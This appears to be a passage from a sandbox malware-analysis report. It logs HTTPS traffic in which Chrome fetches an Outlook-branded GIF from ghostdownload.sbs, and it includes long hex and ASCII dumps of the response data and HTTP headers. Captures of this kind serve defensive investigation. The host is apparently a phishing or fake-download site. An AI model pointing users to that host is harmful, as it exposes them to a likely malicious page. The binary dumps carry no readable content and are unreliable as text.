Data Ascii: CAat?4JVC"0cz&^i#vlTnpcE/w9=m7a|=|{i+ 5h0?4=JaQ;FJ{51#z{[gNef8Ww}j;959J''>QdnC3SYM{bOH

2022-01-13 21:05:20 UTC 560 IN Data Raw: 0c 5f 8e c2 53 20 86 38 01 26 93 0a 95 e5 63 d0 73 04 c3 e7 8f 31 74 5e ef 05 7f b1 fa 23 31 01 d7 f0 b8 47 62 
d5 6e 09 bd c2 06 2e 19 ad 7f 17 87 79 78 5d 5f a4 a0 cb 50 5a e3 6f 38 34 97 ce df 74 39 35 4e 4d 51 ed eb 4d fc c3 f1 23
a4 01 2a 9b b6 d9 2b 3b 44 fe 3b 17 e1 64 e9 70 40 b4 96 41 b3 f1 77 78 c4 bb b7 81 db b7 f6 ef 43 d5 6f e8 ca a7 f9 41 
01 54 94 6b ce 28 98 25 3a 2e 71 1b 74 e4 6a 33 44 cc 2b b9 0e fd 3e 7e 7a ff 66 10 a7 55 a2 0f b3 2e 43 ba e3 23 39 7c 
7c 27 48 1a f3 3c ab 17 4d 59 cf 3e 19 c1 28 81 e9 3b 6d e5 a0 eb d6 36 e2 ee ce 0c 2e 2a bc ad f8 1c 59 16 2d 8f e6 49 
e2 75 48 b4 88 e8 fe 73 19 65 50 a3 76 cb 83 fb fc af d9 2d 9a 8f b3 fc 87 8e bd 61 eb ef 24 f1 77 dc bc ae 5f b9 72 65 a1 
db 65 5b 5b 5b 0b a3 17 42 c0 e5 cb 97 17 42 2b 
Data Ascii: _S 8&cs1t^#1Gbn.yx]_PZo84t95NMQM#*+;D;dp@AwxCoATk(%:.qtj3D+>~zfU.C#9||'H<MY>(;m6.*Y-IuHsePv-
a$w_ree[[[BB+

2022-01-13 21:05:20 UTC 564 IN Data Raw: 79 f3 3b b1 f6 aa c7 70 dc 18 a2 0d ac 61 e8 bc ba fc d5 6c ab da 0c be 9f 65 b7 78 bc ab cd 08 30 be c8 4c fe 
06 84 c6 df e1 30 e8 1d a4 86 53 0a 31 3c 69 ba 98 79 43 2b 91 81 0a f1 39 7e ad a7 2f 16 eb 2a 29 88 16 d3 6c 58 41 dc 
ff 20 d6 7f ec a7 b1 b7 73 17 f8 c6 b3 88 db 5b fb e3 80 1d 2d 19 4b b3 f2 13 8a f7 e2 24 4d 8f e2 99 34 19 ab 7a 5f d4 0f 
dd 03 9d e7 83 97 96 e3 40 87 56 ba cf 47 cd 02 0a 1f 43 eb 73 3e 34 3d 74 7e 88 e1 37 52 7e 72 92 75 ee 3a 7a d0 63 8a 
a9 9d cc 37 e9 03 5e ba f0 a5 f9 fc 01 00 e5 21 eb 99 f9 22 dd 42 f4 15 89 6f a5 95 db 3d 48 ff 72 1a 6c 7e 8c 65 5f a6 82 
6a cb d2 ee 0f f7 5f 14 5a 3a c6 21 69 cc 8f f6 5f fa 9d 59 91 74 96 91 db 32 f2 38 f4 8d 0c a2 03 4b c0 de 6f bc ed 3d d8 f8
e6 f7 60 fd d1 27 11 36 da bb 47 ab 8e 3e 
Data Ascii: y;palex0L0S1<iyC+9~/*)lXA s[-K$M4z_@VGCs>4=t~7R~ru:zc7^!"Bo=Hrl~e_j_Z:!i_Yt28Ko=`'6G>

2022-01-13 21:05:20 UTC 568 IN Data Raw: c6 7b 3e 84 b5 87 5f 8d 86 06 86 6b 0f 6b b6 26 f4 cf 01 a0 b3 5b 11 76 0c d7 6c 4d bc b9 8d c9 4b cf 2f 43 b4 
86 01 a0 05 48 0d 83 82 ae e2 e4 95 50 71 12 72 5e ca 07 19 32 5e e1 71 02 9d 4c 56 1e fc de bb 18 0d 0d 09 e1 f2 55 84 
cb 57 31 7a cd 13 88 6b 6b 88 2f 7e dd 3e 5d 53 b9 40 0f 5a 0a 92 ba 02 72 85 75 86 cd 58 86 5d 14 00 2c ad be 77 51 b4 
0d e3 20 48 1b 9c 9f e7 0f cd bf 3c 57 84 5f 53 bd 32 69 74 2e f2 dc 4b e9 b5 1d 33 57 de 4a 9a 77 6f 64 0c 0e bf 22 84 57 
96 9d a6 be 7e 34 8b 37 8e 0c 5e c0 ab f4 8b 71 a3 6d a1 d4 13 f3 55 ed 7b 2d 23 e3 52 c7 8f b7 22 3f ab 9f 12 bc b1 a8 
3a 0c a6 b0 c8 92 f8 3d 7f 01 a3 97 3f 84 8d a7 df 8d b5 07 1f 46 b8 ef 7c d9 58 c3 a9 86 09 5c 1c bb e5 8d d7 3e fb 52 4d 
73 c6 7a 08 40 dc db 03 76 77 e7 17 a4 61 90 58 
Data Ascii: {>_kk&[vlMK/CHPqr^2^qLVUW1zkk/~>]S@ZruX],wQ H<W_S2it.K3WJwod"W~47^qmU{-#R"?:=?F|X\>RMsz@
vwaX

2022-01-13 21:05:20 UTC 571 IN Data Raw: 9c d1 fd 0e f0 d3 3d fa b5 20 a8 b6 eb d4 d0 70 50 84 47 9f d8 ff 9b 2e 97 2e 03 6b eb 79 07 24 ed 12 00 dd ae 
48 08 92 26 f7 1a b0 f7 dd 9b dd 01 49 e3 39 64 fe c9 dc 89 4e d9 5a bb ca 2b d3 e2 5d 03 a6 95 e5 89 52 57 fe 25 66 72 
1b d1 d2 32 f4 21 fa 0d 72 95 fb a2 5c 14 3d 27 5a 22 4f a1 23 e2 d1 5b 69 ae e9 39 52 5a 6a 97 c7 82 a7 5f c3 37 ff 16 bb 
18 9c 74 ed 07 50 5b bc 5a 6e fa 9c f4 6c fa 2f 5d 9d 71 99 de 51 32 b4 82 ed f3 70 e1 22 46 af 7d 12 a3 27 df 82 d1 13 6f 
42 43 c3 51 c1 f3 c1 1b c3 81 c6 7b ba e4 f9 06 5b 2e e7 53 19 63 3f 22 d5 4f 6d ec dc 41 bc 7d 73 99 22 36 1c 23 da 11 
bb 86 e1 61 6a 91 8c 13 32 45 f1 8e 85 a4 b3 f1 aa d1 d0 77 1d dc b2 b7 b6 11 6f df c4 f8 1b cf 62 72 ed 45 84 cb ed 8c 7c 
c3 21 b0 79 15 61 f3 2a d6 fe 8d 7f 1f 93 3f 
Data Ascii: = pPG..ky$H&I9dNZ+]RW%fr2!r\='Z"O#[i9RZj_7tP[Znl/]qQ2p"F}'oBCQ{[.Sc?"OmA}s"6#aj2EwobrE|!ya*?

2022-01-13 21:05:20 UTC 575 IN Data Raw: 57 bd 3d 69 8b db ec 98 f7 f5 18 a9 42 1e db 51 9c 20 ef 5e db 0d b6 8d 3c e6 88 ef cc 96 d7 bf c1 99 ff 3c bf 2b
7d e6 b5 e1 d9 11 57 8f a4 27 b3 93 e6 cc 23 9e 63 49 5e de 01 d4 fa a3 37 be 0d e1 89 37 61 ed bb 7f 08 d8 38 8b 65 60 
fc b5 2f 61 ef 2f ff 0c b7 fe af 7f 84 c9 33 5f b1 ce 7e 4d 46 e1 b7 b0 81 b5 f9 c0 63 91 6d 0a 6c f9 a2 dd da dc f4 6c 1c 50 
f6 93 d8 2d 9d 3b 1c 5c d7 e6 56 61 03 d5 66 e8 dc e1 3c b5 d3 6a 83 45 cc 59 76 cb 7b 9e 6a 1b 7d 76 2b f7 03 d3 15 d1 
d5 6e b9 41 a4 d0 af da 2d e2 d1 c8 2b f6 63 b2 7d 1d 93 17 bf 81 86 d5 c4 a0 03 a4 74 66 70 91 11 e4 22 d1 f8 9b 0f 35 
fe 92 5d 63 3f 81 b7 c5 41 57 b3 02 47 06 38 08 ad 20 69 55 1a fc 9b 1c e8 a2 ac f0 51 e3 4b e5 42 dc 37 fa 81 da 34 0f 
31 58 39 41 74 0b 47 0d e8 9c fe e0 c8 05 fb 
Data Ascii: W=iBQ ^<<+}W'#cI^77a8e`/a/3_~MFcmllP-;\Vaf<jEYv{j}v+nA-+c}tfp"5]c?AWG8 iUQKB741X9AtG

2022-01-13 21:05:20 UTC 580 IN Data Raw: 91 3c cf 4b b6 bf 32 6f 45 54 14 2e d9 c8 18 68 fb 8e 75 92 34 6c 34 98 07 c9 50 3b c8 9b b8 63 bf 3e 0c e8 2d 
e8 8b 9e 12 f2 1b a9 9f e0 f8 53 ab 9e 90 f4 a9 15 ff 5b a6 e7 71 72 3e f7 ff f8 22 96 cb 0f 37 65 85 b4 f7 b8 84 39 5c ad 18
93 e3 d3 16 dc 44 1c 45 f7 83 34 3e 15 59 b8 40 f3 f1 a0 58 ae 94 c1 b7 42 85 fd e4 05 55 e1 f5 ed 07 79 c3 e6 9c 12 79 
05 75 f0 37 63 ed 5e 29 fb 15 bf 56 0d cf d9 cb c0 f7 5e 44 e7 cb 9f eb 1e da b0 b4 b8 46 0d ae 13 59 86 c6 b1 db 90 1d 38
0a 3a 70 14 c8 b2 78 d1 a3 29 95 b5 55 58 30 12 7a 9e 1b 6d 01 25 17 c8 b2 cd fa f5 43 a4 63 84 97 cb f9 84 f4 05 6d b7 
16 34 7b 3a 59 04 ae 26 d4 fa 65 c4 51 0a 13 19 54 cf 25 a5 f1 d1 03 02 a5 ff 44 65 2a 8b 38 9e 4d 1a 3d b2 5c 07 bd af 
12 2f 8b 2f 46 99 30 6d 31 4f 1a 6f 9e 86 f3 
Data Ascii: <K2oET.hu4l4P;c>-S[qr>"7e9\DE4>Y@XBUyyu7c^)V^DFY8:px)UX0zm%Ccm4{:Y&eQT%De*8M=\//F0m1Oo

2022-01-13 21:05:20 UTC 584 IN Data Raw: 69 93 32 f8 3c aa cd 5b a2 8f 87 7b 8e ac 4f 51 1f 2f 98 4b e4 bc b3 d6 bc c5 eb d0 78 e2 59 d0 e9 73 c0 f8 76 
20 b7 25 f4 66 c6 c0 3c 48 06 c3 f5 22 1b 1d 43 be 63 37 9a 67 ce a3 71 e4 14 68 62 3b 5c 9e 47 4f e7 3c 92 7d e9 3e bc 
20 9e a7 93 b2 f8 1d 4b c6 93 f8 2d 2a 97 d8 04 ce c3 79 9e 60 40 38 21 d7 21 3c 09 f3 5b 28 3c 8f 70 c3 f2 79 48 c8 f4 e9 
f8 64 2f cb 44 ef a6 e1 d3 84 bf 49 e1 c5 64 f9 1b 1f 97 e1 6f 82 32 2d 7f 42 19 ea e0 e2 78 12 dc fc 8d 2b 92 c5 ea ec 0b 
e6 7c 92 fa 8a 7f bc 8e b2 0d 7c 7a ce 87 b7 17 cf 0f c6 d7 ff f2 05 49 a8 8f 2f 64 e1 2a dc cb df 45 e7 4b cf 01 f3 57 e1 96 
97 31 08 50 ab 85 c6 c1 63 68 1c 3e 8e fc f0 09 10 11 1c 51 a4 5b de 17 a2 3a b2 85 96 8c e7 8b 0b 39 06 64 bf 4e c6 08 
2b 57 2e 54 f8 af e4 28 bd 00 da d8 83 4b 
Data Ascii: i2<[{OQ/KxYsv %f<H"Cc7gqhb;\GO<}> K-*y`@8!!<[(<pyHd/DIdo2-Bx+||zI/d*EKW1Pch>Q[:9dN+W.T(K

2022-01-13 21:05:20 UTC 588 IN Data Raw: d2 f8 6d 6b 60 c6 81 63 69 b9 17 27 08 42 5c 3e d7 a2 0f 77 b4 46 7d 44 5a e2 f9 44 1d e5 3b 4f 51 bc 40 e2 
01 12 69 79 55 c2 df 9a 1e e3 ea c2 01 18 fe 81 0f a0 79 e6 3c f2 bd 07 80 66 4b 29 7d fd d8 aa 63 a4 2a d4 9d 1f 47 dd 
b9 1a bf 72 30 7e d7 86 5a 9f 62 57 27 45 69 30 7e e5 60 fc ca a3 ee 1c 8d 5f 39 0c 8a 5f e3 e8 29 e4 47 4e 21 3f 7c 0a 
99 f8 26 8e dc ea 05 e8 0b fc 38 53 ef a7 5f 5a bf 1d 8f 65 49 0b 50 04 f8 6d 6b 09 5c ef 37 f2 d8 68 89 9d f8 15 bc e3 02 
7b 69 9d 08 73 22 9d d6 3c 9a 47 4a b5 66 38 07 91 36 c8 60 f9 78 1d f9 81 17 01 8d 26 68 74 1b 1a 27 ef 40 f3 e4 59 d0 
f0 08 a8 51 ee 39 e8 56 1d 23 55 a1 ee fc 38 ea ce d5 f8 95 83 f1 bb 36 d4 da 40 32 18 0c 06 c3 60 d0 3a 77 1f 26 ff d6 ff 
8a 7c ff a1 10 16 19 38 c2 ab 02 f4 d9 12 87 5e da 
Data Ascii: mk`ci'B\>wF}DZD;OQ@iyUy<fK)}c*Gr0~ZbW'Ei0~`_9_)GN!?|&8S_ZeIPmk\7h{is"<GJf86`x&ht'@YQ9V#U
86@2`:w&|8^

2022-01-13 21:05:20 UTC 592 IN Data Raw: f8 69 48 6c 84 36 36 7e d7 0f ce af ca f7 2c b6 ba 2e cb c2 f8 95 c3 66 1f 2b 0d e7 5c a5 2f 45 0d c2 42 35 7e 
d7 0f e3 57 0e 9e 5b dd 39 1a bf eb 87 f1 2b 87 f5 8c 11 ba e7 61 34 f6 ec c3 d2 3f fa eb a0 99 37 e0 16 17 7a c6 04 50 bc 
7d 0d b1 61 e2 94 b4 de 8b e3 df 49 62 ce a8 e4 74 70 9e df f1 78 2e 1f c5 32 54 59 ec da b1 f2 7d 58 36 b9 1d ad f3 0f 62 
e8 1d 3f 84 d6 1d f7 16 ea b0 ee 6d 6c fc ae 1f 92 df 46 e2 5a 16 c6 af 1c b6 3a bf 9b c9 d5 de 41 32 18 0c 06 c3 40 41 db 
77 01 8d 16 e8 d6 63 70 8d 17 81 97 bf d3 33 26 b8 f5 01 a8 96 88 dc 42 17 b6 dd 71 4f d4 aa 2c 2e 37 ba b5 f2 32 56 65 
71 2f 14 3f 58 21 ba f6 69 95 2d 74 bc dc 68 8b de 6a 18 b5 9a a0 ed 3b d1 3c 73 1e f9 be 43 c8 a6 76 5e 9f 02 0d 06 83 
c1 70 43 61 a7 d8 95 80 f1 2b 07 e3 57 1e 75 
Data Ascii: iHl66~,.f+\/EB5~W[9+a4?7zP}aIbtpx.2TY}X6b?mlFZ:A2@Awcp3&BqO,.72Veq/?X!i-thj;<sCv^pCa+Wu

Timestamp
kBytes
transferred Direction Data
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Session ID Source IP Source Port Destination IP Destination Port Process

8 192.168.2.4 49777 172.67.167.234 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2022-01-13 21:05:19 UTC 15 OUT GET /file-7564c3328869m00865113607754b653/assets/images/outlook-anim.c9d7cfd2.gif HTTP/1.1
Host: ghostdownload.sbs
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 
Safari/537.36
Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://ghostdownload.sbs/file-7564c3328869m00865113607754b653/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

2022-01-13 21:05:20 UTC 156 IN HTTP/1.1 200 OK
Date: Thu, 13 Jan 2022 21:05:20 GMT
Content-Type: image/gif
Content-Length: 617715
Connection: close
cache-control: public, max-age=604800
expires: Thu, 20 Jan 2022 21:05:20 GMT
last-modified: Mon, 07 Dec 2020 23:13:56 GMT
x-turbo-charged-by: LiteSpeed
CF-Cache-Status: MISS
Accept-Ranges: bytes
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2Bmdy992J4fBnNCouw02BLTjkLiatkr
beb50EMsXvFikITh0AMCZYfj7Fq%2F7xVn2qt02vYhRv7GZYOGeqhqDarAlfrErvd3v3sKX1%2FLxpu8fceQRT7e8%
2BkO4Wt2cK9aoldgbeSA%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 6cd19503ad08f051-EWR
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

2022-01-13 21:05:20 UTC 157 IN Data Raw: 47 49 46 38 39 61 d0 02 95 01 f7 00 00 00 01 00 2d 69 77 1b 60 77 71 73 70 48 6d 75 dc 3a 21 d5 5a 43 74 89 
72 f1 bd 0f 8d ca 10 c9 cb 4d 0f 5c 8b 18 68 8a 0c 6c 9c 07 6a 98 13 6d 9b 18 6b 97 0c 73 9c 08 76 9a 13 73 9d 1b 73 9c 
18 77 98 0f 6e 8b 26 6a 89 25 6c 97 27 76 99 36 78 99 30 72 8b 04 6d a3 0c 6d a3 09 6d a9 13 6d a3 19 6d a5 05 73 a4 
0c 74 a4 05 7b a5 0c 7a a5 05 75 ac 0b 75 ac 04 7a ad 0b 7a ac 13 74 a4 1b 74 a4 13 7a a4 1b 7a a4 13 75 ab 1b 75 ab 
13 7a ac 1b 7b ac 05 77 b4 0a 76 b3 05 79 b4 0a 7a b3 06 76 ba 0b 76 ba 04 7b b9 0b 7b b9 12 75 b2 12 7b b3 1b 7c b3 1
3 7c ba 19 78 b6 0e 6e b3 23 74 a3 23 7b ab 28 79 a6 35 7b a6 25 7c b4 2b 72 aa 26 5d 84 48 78 91 46 7c a6 0a 7a c2 26 
7c c2 10 83 99 32 84 99 08 82 aa 18 82 aa 04 81 b5 0c 82 bb 0a 84 
Data Ascii: GIF89a-iw`wqspHmu:!ZCtrM\hljmksvsswn&j%l'v6x0rmmmmmst{zuuzzttzzuuz{wvyzvv{{u{||xn#t#{(y5{%|+r&]HxF
|z&|2

2022-01-13 21:05:20 UTC 158 IN Data Raw: ca 58 a5 c9 48 a7 d8 57 a8 d6 59 b3 da 52 b3 d3 66 a7 c9 76 a9 c8 78 b5 ca 66 ab d6 69 b6 d9 7b bb dc 76 b7 
d8 70 af d1 46 ac e5 47 b3 eb 58 b6 e8 49 b8 f3 56 bb f5 57 ad e4 68 b9 e6 77 bb e5 6d b9 ef 4b 9d e1 77 c2 db 5a c4 fb 
58 c4 f3 6a c3 ea 78 c3 e8 67 c7 fa 77 c8 f8 6b d4 ff 78 d8 fe 76 d2 ea 7c e3 ff 74 e6 f3 5b c2 d9 3c c2 db 8b ae b9 af b1 af 
8f 93 92 e0 ec af 88 b8 ca 95 b9 c9 87 bb d7 95 bc d5 87 ac ca 85 bc e5 90 bc e8 a4 bb ce 89 c3 da 98 c6 d9 95 c8 d1 a6 
c8 d9 ae cf d7 87 c6 e7 97 c9 e7 99 d3 ea 87 c9 f6 97 cc f5 88 d7 fc 98 d8 fa 8a d3 ea a5 cb e6 a8 d6 e9 b7 d9 e8 a7 da fa 
b6 db f9 ad cc ed 87 e7 ff 98 e7 ff 98 f7 ff 8c f2 fe a8 e6 fe b4 e4 fe bb ec ff b7 e8 fc a8 f8 ff bc f4 ff bc fd ff b4 f7 ff b6 e3 eb 
b4 e3 dd cd d1 cf c5 db ed c7 ea 
Data Ascii: XHWYRfvxfi{vpFGXIVWhwmKwZXjxgwkxv|t[<

2022-01-13 21:05:20 UTC 159 IN Data Raw: 88 43 98 2f 65 19 79 84 8a e6 e3 37 92 ac a5 4a e3 52 44 21 74 98 9a 0d 32 4f 6b fe 82 63 c4 1e f8 83 b3 fb c1 
ee 84 48 4c a2 12 e7 64 27 2d b4 e1 42 09 84 c8 cb 9a 27 1b dd b8 07 2d ac f9 48 0e 2b a8 a1 2a 89 84 8a ed e1 a0 1b 
6e a6 ae 10 8e 6d 89 68 4c a3 1a 69 54 90 2b d4 89 0f 54 48 92 78 fe 06 46 14 9d 07 45 7f 73 9f 22 ee d2 08 86 00 ee 8b 
ed 01 e2 44 1c d1 88 9a 01 86 4c 66 22 5b 72 d6 c8 c8 46 3a f2 39 04 b9 c2 13 85 84 40 25 31 24 35 60 f4 21 cc 3a 14 9f 
6e 89 44 10 7d d4 10 05 45 b2 47 40 96 ab 83 50 c0 19 22 5f d2 38 48 95 f0 91 49 bc 1c 2c 67 99 18 af 80 c6 68 49 12 c4 
d2 04 99 ba 72 7d eb 86 58 eb 23 0f 73 53 ca bb 20 82 94 7b dc 20 23 1c 91 2b 74 cd 80 09 be 62 17 a4 8e 22 4b 9b 54 
b3 26 d7 a4 49 36 67 b0 cd 6e e2 c4 9b 37 01 a7 35 bf 49 ce 
Data Ascii: C/ey7JRD!t2OkcHLd'-B'-H+*nmhLiT+THxFEs"DLf"[rF:9@%1$5`!:nD}EG@P"_8HI,ghIr}X#sS { #+tb"KT&I6gn75I

2022-01-13 21:05:20 UTC 160 IN Data Raw: 27 74 bb 57 11 57 44 74 9d c5 6e 47 57 4a 36 05 5a eb 27 6f f9 37 36 d9 d6 7f 01 c8 1c 00 f8 68 1d c8 3f 05 01 
6e 03 11 2d 3b 87 5f 5e e7 75 b6 77 81 97 a5 59 4e 23 41 61 84 70 f2 d7 55 07 c6 47 d5 86 7f 80 f1 72 37 21 73 21 88 26 
1f d8 83 e2 f7 13 e4 77 40 26 45 7b 4d d7 67 c7 e5 43 e8 c3 21 4e 23 22 80 60 25 3e 27 81 c3 35 7f ef a6 80 7b 74 6b ac 
23 75 12 47 77 40 d8 85 dd f6 83 44 31 61 4f 64 7e 28 e8 73 3e d7 74 35 28 72 00 63 1b df b2 41 32 e8 43 34 c8 57 e4 52 
3f 39 08 71 72 17 65 1c e8 85 9d 01 86 36 a7 87 42 33 84 07 81 40 b3 77 80 22 01 08 47 38 6b fe ed 96 3e de 52 1b dd 
85 67 8b a7 43 f5 d7 57 ef e6 67 1d 94 81 30 31 75 7e b8 1c 7c 08 82 98 87 7a a1 07 7a a3 f7 89 a9 07 8a 9e 18 8a a6 58 
8a a8 b8 7a a3 b8 8a a2 d8 8a ca 37 15 5a e7 06 a3 41 3e 
Data Ascii: 'tWWDtnGWJ6Z'o76h?n-;_^uwYN#AapUGr7!s!&w@&E{MgC!N#"`%>'5{tk#uGw@D1aOd~(s>t5(rcA2C4WR?
9qre6B3@w"G8k>RgCWg01u~|zzXz7ZA>

2022-01-13 21:05:20 UTC 162 IN Data Raw: 8e 43 a8 54 20 8b e2 76 b4 e2 3a 5c 7b 9b a5 c3 e3 6c 68 17 6d 43 ca 76 28 b9 41 50 07 71 30 67 b8 e2 87 20 
95 11 34 01 44 2c 8d 0b 65 8d f6 12 39 8b 5a b4 a3 4d fd 57 b6 97 82 b9 16 0b 15 5c 69 a3 a6 d2 73 07 78 a5 8c 3a 76 dc 
65 11 f4 01 85 3c 94 4c 23 76 a9 2c 4b 48 3b c5 9e 76 fe e8 9e 9d d1 b3 76 aa bd 77 ca bd c3 ea bd d5 3a 23 99 02 4f e0 
5b be db 7b be dd 8b be df db 13 2a 76 8e 88 a3 20 8d 46 19 36 90 4f 88 8b b8 e0 c7 26 d3 b4 b8 3c 0b bc 3c d1 b6 83 5a 
a3 54 10 2d a6 a6 10 1f 6b bc 29 43 43 80 d4 25 0c e4 80 1c 51 70 50 28 ab bf 08 6f 2c 17 1b 29 5a 8c e4 48 9b 8e 31 a7 
d2 7a 26 b4 33 39 bf 3b be cc 82 38 16 13 2f 41 33 bf 97 b3 bb 5b 2b 14 0b b2 bb 3d 21 7d 87 71 ad c8 ea ac e1 0b c3 cb 
2a c3 34 4c ad 37 6c ad 36 bc c3 c6 9a ac 45 b1 b3 3e ab 
Data Ascii: CT v:\{lhmCv(APq0g 4D,e9ZMW\isx:ve<L#v,KH;vvw:#O[{*v F6O&<<ZT-k)CC%QpP(o,)ZH1z&39;8/A3[+
=!}q*4L7l6E>
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2022-01-13 21:05:20 UTC 163 IN Data Raw: fe 09 5f 10 04 28 1f 04 2e b0 03 3c c0 03 36 80 03 38 80 dd 33 41 b3 c9 a7 ed 30 cf e2 11 1f 03 b9 8b b5 e2 fe 
a9 3d cf 13 6a d6 06 7c d9 d1 7e 89 c7 9b a5 61 1a 24 76 3e c4 d6 e4 e2 9f 21 76 41 ae 36 89 88 68 6b 8a 40 db 60 73 89 
d8 2b d3 5f 7d b6 e0 7e 19 97 93 29 f3 02 6a 36 72 02 23 b0 02 5b 10 0a cd a0 0e f9 a0 0f fb b0 0f f6 50 0f f7 60 0f 72 5f 0f
1f ef 0e df 60 0d c0 10 0a 9a 30 09 46 8d 05 43 30 04 3d d0 03 3c 80 03 83 ae e2 38 90 b3 30 0f f3 40 73 f8 2c 3e ac 8f 31 
65 41 a5 f5 9f 7d a6 9a 19 03 93 6e 15 a4 2c c4 85 6a aa be 95 a1 50 3f f5 72 36 ef 7a a6 ee 21 f9 d6 28 57 08 c0 85 64 
6b 37 db ad 9e 6b 58 6f e4 40 ce 2c d7 a4 20 27 80 20 33 b1 e6 9d 41 03 21 b0 02 5f 60 f1 f0 60 0f fa c0 f6 f6 c0 0f 72 5f fc 
6f ff f6 f3 90 0e d8 80 0d c9 20 0c 93 
Data Ascii: _(.<683A0=j|~a$v>!vA6hk@`s+_}~)j6r#[P`r_`0FC0=<80@s,>1eA}n,jP?r6z!(Wdk7kXo@, ' 3A!_``r_o 

2022-01-13 21:05:20 UTC 164 IN Data Raw: 10 23 ed 5b dc 33 e2 27 39 9a 61 6b 72 f6 83 5c 15 69 52 8f fd c5 63 1d d5 f8 85 18 c2 70 04 21 08 01 03 2c 68
42 05 98 c0 04 35 a2 8e 20 1c 53 d3 09 ca 13 41 33 b5 ae 2d 49 0c 5f ef 9c b8 47 3e a2 e5 88 24 d1 a3 6b b6 26 87 12 9a 
70 60 29 04 44 21 12 19 b7 50 25 0c 86 8b a1 a1 60 aa 27 98 b7 49 86 54 d7 db a1 8c 48 14 08 bc 15 84 20 de 23 09 06 
77 93 35 51 86 a5 94 18 21 df 6c 86 75 27 21 e5 6e 64 a7 e4 0a 13 de 27 c5 e1 54 2e 8b c6 c1 62 2e af 95 1c 9c 9c 63 17 
ba 18 43 17 34 fe 90 81 25 28 a1 02 4a 68 82 75 56 80 ab 5c d1 c0 09 34 20 08 34 15 d2 b4 19 e0 a0 8e 0b b1 26 9a f0 35 
a0 05 75 b3 3e f4 6a 9d 82 be 29 ce 70 36 68 9c e6 2c a7 37 d3 79 4e 75 e6 07 9c ee 24 27 3c d1 e9 a0 0f 4e 44 65 72 01 
9e a4 2a 94 17 3f 04 42 53 82 d8 0b 21 14 83 43 47 72 c6 
Data Ascii: #[3'9akr\iRcp!,hB5 SA3-I_G>$k&p`)D!P%`'ITH #w5Q!lu'!nd'T.b.cC4%(JhuV\4 4&5u>j)p6h,7yNu$'<NDer*?BS!
CGr

2022-01-13 21:05:20 UTC 166 IN Data Raw: f1 14 10 21 11 50 73 37 38 ba 11 ad 80 bf 09 2c 19 8e 88 81 7c fb 91 8d 18 92 28 ab 97 e8 8b b5 ce 0a 38 a9 
cb 29 ce f3 3f cf db 22 79 48 87 68 18 86 4e 80 04 a1 f8 ba 11 18 01 26 60 bd 0a 5b 0a 1c b0 fe 2d ab 58 3b dd a9 c0 2d 
7c a7 3e eb 3d b5 60 ae 0d ec a7 95 4b a4 ec 7b 39 48 b3 9e 50 09 2f 49 fb bb 83 c2 b9 4c 13 c1 f2 fb 39 9f 4b 3f 51 5b 3f 
bf 99 c1 11 63 29 36 49 99 3c e4 15 8b c0 8f 34 f1 08 1c 0c 16 1e b4 1a f7 5b 08 fc 83 16 fc 92 1f 21 2c c2 47 cc 25 99 e0 
22 2f 52 42 54 90 04 3b 08 3b 65 6a a0 17 b0 b3 aa b0 26 5c b1 17 3f e4 42 40 13 39 44 84 14 b9 73 2e 43 3a 24 42 28 c3 
33 d4 be 70 1b 91 c9 b0 b4 4e 99 18 4e b1 0c 75 e3 34 10 11 15 46 08 84 1a e1 18 c4 53 88 2c 1c 45 8d e0 88 7c 2b 9c 1f 
21 29 e8 4b 2e b2 88 3e 88 68 82 59 0a 42 ff 22 38 
Data Ascii: !Ps78,|(8)?"yHhN&`[-X;-|>=`K{9HP/IL9K?Q[?c)6I<4[!,G%"/RBT;;ej&\?B@9Ds.C:$B(3pNNu4FS,E|+!)K.>hYB"8

2022-01-13 21:05:20 UTC 167 IN Data Raw: ad 5b a2 09 02 c3 89 74 a0 06 64 28 03 32 20 47 16 a0 80 14 a0 80 15 c8 59 31 3d 5c c3 2d dd 95 d9 9a 0c a4 
8b 0b f1 d5 4c 89 51 c7 15 15 11 ec 3b 4e 99 da be 6a d6 41 1d 15 1f ed 1e a2 1b 94 c2 05 0b ae bd 97 dc 50 a2 6b d2 43 
1d a1 8f 79 43 3a 14 b8 02 4a 65 44 e2 18 38 da a5 df 69 7c 12 9a b8 07 2f a2 06 69 60 05 32 f8 02 2d 60 30 0a a8 00 eb 
40 81 9a a4 a7 39 21 b1 04 46 e0 05 f6 0f 06 fe c3 07 86 0f 07 8e e0 06 a6 60 08 6e a9 0b 46 35 0b ce e0 ce 14 df b0 b8 
36 0a 99 90 ae a9 bb 43 ea b6 3b a5 de f0 83 8c bd ab 45 3f 5d 1b b3 e9 b4 c4 48 c8 a9 a4 d8 bd 31 d1 db 59 5e 8e e8 a0 
66 bb 13 db 60 ba 64 cc 17 12 ad 08 d3 74 dd cf 1a 38 95 1d ad 28 ad df 5b 63 4d 2d ba 9c 78 20 fe 07 72 e8 06 69 e0 84 
2b b1 82 20 a8 00 15 58 9d af b8 e1 e4 25 cc b1 15 dd dc 
Data Ascii: [td(2 GY1=\-LQ;NjAPkCyC:JeD8i|/i`2-`0@9!F`nF56C;E?]H1Y^f`dt8([cM-x ri+ X%

2022-01-13 21:05:20 UTC 168 IN Data Raw: 98 87 4d 37 cb 87 b7 1f 87 a7 5d b5 ac 07 c0 be 82 6d df 78 14 ab 79 0c a6 fa f4 4d 8b e6 25 a4 8f 5f 39 0f 94 
75 c5 48 04 84 f1 14 b0 7e 11 89 c9 75 4a 83 a8 18 21 0c 47 50 04 b5 bf 9b bc 39 aa c0 d4 f8 50 12 f8 b1 10 29 90 ad 81 
